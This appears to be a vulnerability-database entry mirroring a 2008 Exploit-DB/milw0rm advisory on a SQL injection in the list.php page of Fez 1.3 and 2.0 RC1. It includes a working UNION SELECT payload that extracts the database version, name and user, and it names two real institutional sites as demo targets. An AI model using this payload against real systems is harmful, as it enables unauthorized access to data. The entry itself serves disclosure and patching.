Fez software Version 1.3 AND 2.0 RC1 (list.php) - SQL Injection Vulnerability

vendor:

Fez

by:

d3v1l

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Fez

Affected Version From: 1.3

Affected Version To: 2.0 RC1

Patch Exists: YES

Related CWE: N/A

CPE: a:fez_project:fez

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Fez software Version 1.3 AND 2.0 RC1 (list.php) – SQL Injection Vulnerability

Fez software versions 1.3 and 2.0 RC1 are vulnerable to SQL injection. An attacker can exploit this vulnerability by sending a specially crafted SQL query to the vulnerable list.php page. This can allow the attacker to gain access to sensitive information such as version, database, and user information.

Mitigation:

Upgrade to the latest version of Fez software.

Source

Exploit-DB raw data:

[~]------------------------------------------------------------------------------
[~] Fez software Version 1.3 AND 2.0 RC1 (list.php) - SQL Injection Vulnerability
[~]
[~] http://sourceforge.net/projects/fez
[~]
[~] About:- [Fez is an open source project to produce and maintain a highly flexible web interface to FEDORA
[~]       for any Library or Institution to configure and publish or archive documents of any type sustainably.]
[~]
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 22.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest|Gibon|Pig       and milw0rm Staff
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~] Demo :- 1.3
[~]
[~] http://repository.openpolytechnic.ac.nz/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]
[~] Demo :- 2.0 RC1
[~]
[~] http://avi.lib.cas.cz/sandbox/fex/trunk/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]-----------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22]